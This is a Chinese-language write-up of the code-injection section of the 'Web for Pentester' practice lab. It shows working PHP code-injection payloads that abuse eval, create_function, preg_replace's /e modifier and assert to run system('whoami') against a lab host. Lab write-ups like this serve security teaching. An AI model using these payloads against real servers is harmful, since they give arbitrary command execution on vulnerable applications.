Web for pentester_writeup之Code injection篇
Web for pentester_writeup之Code injection篇
Code injection(代码注入)
Example 1
![](https://img2018.cnblogs.com/blog/1605154/201908/1605154-20190808143257650-1309948164.png)
`name=hacker’` 添加一个单引号
![](https://img2018.cnblogs.com/blog/1605154/201908/1605154-20190808143311050-821937799.png)
`name=hacker”` 添加一个双引号
![](https://img2018.cnblogs.com/blog/1605154/201908/1605154-20190808143356350-2108491842.png)
返回报错信息,分析可知执行了eval()程序
继续测试
![](https://img2018.cnblogs.com/blog/1605154/201908/1605154-20190808143459406-1888671742.png)
这块有点复杂,我们先看一下源代码
```php
可知eval实际执行的函数是 `echo "Hello ".$_GET['name']."!!!";` ,这条语句中点号`.`是字符串拼接.
根据上述信息我们可以构造一个执行whoami命令的脚本
>Payload 1 结尾使用赋值的方法闭合语句
`http://192.168.219.136/codeexec/example1.php?name=hacker".system('whoami'); $dummy="`
<center>![](https://img2018.cnblogs.com/blog/1605154/201908/1605154-20190808143538991-707665184.png)</center>
<p>实际执行的语句为
<p>`echo "Hello ".hacker".system('whoami'); $dummy="."!!!";` 拼接一下变为
<p>`echo "Hello hacker".system('whoami'); $dummy="!!!";`
<p>从页面返回可以看出,系统先执行了whoami命令,然后执行输出
>Payload 2
`http://192.168.219.136/codeexec/example1.php?name=hacker".system('whoami');%23`
<center>![](https://img2018.cnblogs.com/blog/1605154/201908/1605154-20190808143547121-1368557021.png)</center>
>
`http://192.168.219.136/codeexec/example1.php?name=hacker".system('whoami');//`
<center>![](https://img2018.cnblogs.com/blog/1605154/201908/1605154-20190808143555419-1257008802.png)</center>
<p>以上2种方式都可以成功执行命令,结尾直接使用#号或//注释后面的内容
###**Example 2**
<center>![](https://img2018.cnblogs.com/blog/1605154/201908/1605154-20190808143708057-1571194764.png)</center>
<p>使用单引号 `?order=id'`
<center>![](https://img2018.cnblogs.com/blog/1605154/201908/1605154-20190808143728771-721286394.png)</center>
<p>发现使用的是usort()函数
<p>查看源代码
```php
if (isset($order)) {
usort($users, create_function('$a, $b', 'return strcmp($a->'.$order.',$b->'.$order.');'));
}
尝试闭合构造如下:
?order=id;}//
报错Parse error: syntax error, unexpected ';' 我们可能少了一个或者多个括号。
?order=id);}//
警告Warning: strcmp() expects exactly 2 parameters, 1 given到报的不是语法错误,这个应该可行。
?order=id));}//
继续加括号,报错Parse error: syntax error, unexpected ')'应该是多括号的原因。
Payload
http://192.168.219.136/codeexec/example2.php?order=id);}system('whoami');//
![](https://img2018.cnblogs.com/blog/1605154/201908/1605154-20190808143741019-782621294.png)
###**Example 3**
![](https://img2018.cnblogs.com/blog/1605154/201908/1605154-20190808143746427-1102653696.png)
查看源代码
```php
```
preg_replace()
函数:
mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )
搜索 subject 中匹配 pattern 的部分, 以 replacement 进行替换。
参数说明:
$pattern
: 要搜索的模式,可以是字符串或一个字符串数组。
$replacement
: 用于替换的字符串或字符串数组。
$subject
: 要搜索替换的目标字符串或字符串数组。
$limit
: 可选,对于每个模式用于每个 subject 字符串的最大可替换次数。默认是-1(无限制)。
$count
: 可选,为替换执行的次数。
/e
修正符使preg_replace()将replacement参数当作php代码执行,前提是subject中有pattern的匹配。
我们给pattern参数加上/e
修正符,并使得subject中有pattern的匹配,并把replacement改为我们要执行的命令
Payload
http://192.168.219.136/codeexec/example3.php?new=system('whoami')&pattern=/lamer/e&base=Hello%20lamer
![](https://img2018.cnblogs.com/blog/1605154/201908/1605154-20190808143759155-67554670.png)
注:php5.5版本以上就废弃了`preg_replace`函数中 `/e` 这个修饰符,转而修改成 `preg_replace _callback`
###**Example 4**
![](https://img2018.cnblogs.com/blog/1605154/201908/1605154-20190808143810190-1192216016.png)
老套路,发现`assert()`函数
>Payload
`http://192.168.219.136/codeexec/example4.php?name=hacker'.system(whoami).'`
![](https://img2018.cnblogs.com/blog/1605154/201908/1605154-20190808143843468-553703910.png)
对PHP函数代码执行不是特别熟悉,所以主要参考了以下文章,写的很详细
参考文章:`https://www.freebuf.com/sectool/168653.html`
Web for pentester_writeup之Code injection篇的更多相关文章
- Web for pentester_writeup之Commands injection篇
Web for pentester_writeup之Commands injection篇 Commands injection(命令行注入) 代码注入和命令行注入有什么区别呢,代码注入涉及比较广泛, ...
- Web for pentester_writeup之XML attacks篇
Web for pentester_writeup之XML attacks篇 XML attacks(XML攻击) Example 1 - XML外部实体注入(XXE) Payload http:// ...
- Web for pentester_writeup之LDAP attacks篇
Web for pentester_writeup之LDAP attacks篇 LDAP attacks(LDAP 攻击) LDAP是轻量目录访问协议,英文全称是Lightweight Directo ...
- Web for pentester_writeup之File Upload篇
Web for pentester_writeup之File Upload篇 File Upload(文件上传) Example 1 直接上传一句话木马,使用蚁剑连接 成功连接,获取网站根目录 Exa ...
- Web for pentester_writeup之File Include篇
Web for pentester_writeup之File Include篇 File Include(文件包涵) Example 1 加一个单引号 从报错中我们可以获取如下信息: 当前文件执行的代 ...
- Web for pentester_writeup之Directory traversal篇
Web for pentester_writeup之Directory traversal篇 Directory traversal(目录遍历) 目录遍历漏洞,这部分有三个例子,直接查看源代码 Exa ...
- Web for pentester_writeup之SQL injections篇
Web for pentester_writeup之SQL injections篇 SQL injections(SQL注入) Example 1 测试参数,添加 and '1'='1, 'and ' ...
- Web for pentester_writeup之XSS篇
Web for pentester_writeup之XSS篇 XSS(跨站脚本攻击) Example 1 反射性跨站脚本,URL中name字段直接在网页中显示,修改name字段, Payload: h ...
- phpMyadmin /scripts/setup.php Remote Code Injection && Execution CVE-2009-1151
目录 . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 Insufficient output sanitizing when gener ...
随机推荐
- Ansible配置详解
目录 Ansible配置详解 参考 配置优先级 配置参数说明 Ansible配置详解
- 【Spring Boot源码分析】@EnableAutoConfiguration注解(一)@AutoConfigurationImportSelector注解的处理
Java及Spring Boot新手,首次尝试源码分析,欢迎指正! 一.概述 @EnableAutoConfiguration注解是Spring Boot中配置自动装载的总开关.本文将从@Enable ...
- 解决使用MUI时mui-slider-item高度不一致的自适应问题
今天在写一个MUI项目的时候,发现使用slider时,最高的mui-slider-item会把mui-slider-group撑开,而其他的mui-slider-item下面会出现很大的空白. 百度了 ...
- MongoDB 学习笔记之 $or与索引关系
$or与索引关系: 对leftT集合的timestamp创建索引 执行$or语句:db.leftT.find({$or: [{ "timestamp" : 5},{"ag ...
- python语言程序设计基础(嵩天)第三章课后习题部分个人练习
p69: *题3.5: 源代码: (1)print(30-3**2+8//3**2*10) 答案:21 (2)print(3*4**2/8%5) 答案:1.0 (3)print(2** ...
- 一致性哈希(PHP核心技术与最佳实践)
<?php /** * 分布式缓存部署方案 * 当有1台cache服务器不能满足我们的需求,我们需要布置多台来做分布式服务器,但是 * 有个问题,怎么确定一个数据应该保存到哪台服务器上呢? * ...
- A-05 前向选择法和前向梯度法
目录 前向选择法和前向梯度法 一.前向选择法 1.1 余弦相似度求投影 1.2 举例 1.3 前向选择法优缺点 1.3.1 优点 1.3.2 缺点 二.前向梯度法 2.1 举例 2.2 前向梯度法优缺 ...
- BZOJ 4621: Tc605
Description 最初你有一个长度为 N 的数字序列 A.为了方便起见,序列 A 是一个排列. 你可以操作最多 K 次.每一次操作你可以先选定一个 A 的一个子串,然后将这个子串的数字全部变成原 ...
- 【JZOJ4807】破解
Description 历经千辛万苦,ddddddpppppp 终于找到了IBN5100. dp 事先了解到SERN 共有T 个密码,每个密码是一个长度为N 的01 串,他要利用IBN5100 的特殊 ...
- 利用sed将xml报文转换为分隔符形式报文
原始xml文本如下 <?xml version="1.0" encoding="utf-8"?> <Message> <Heade ...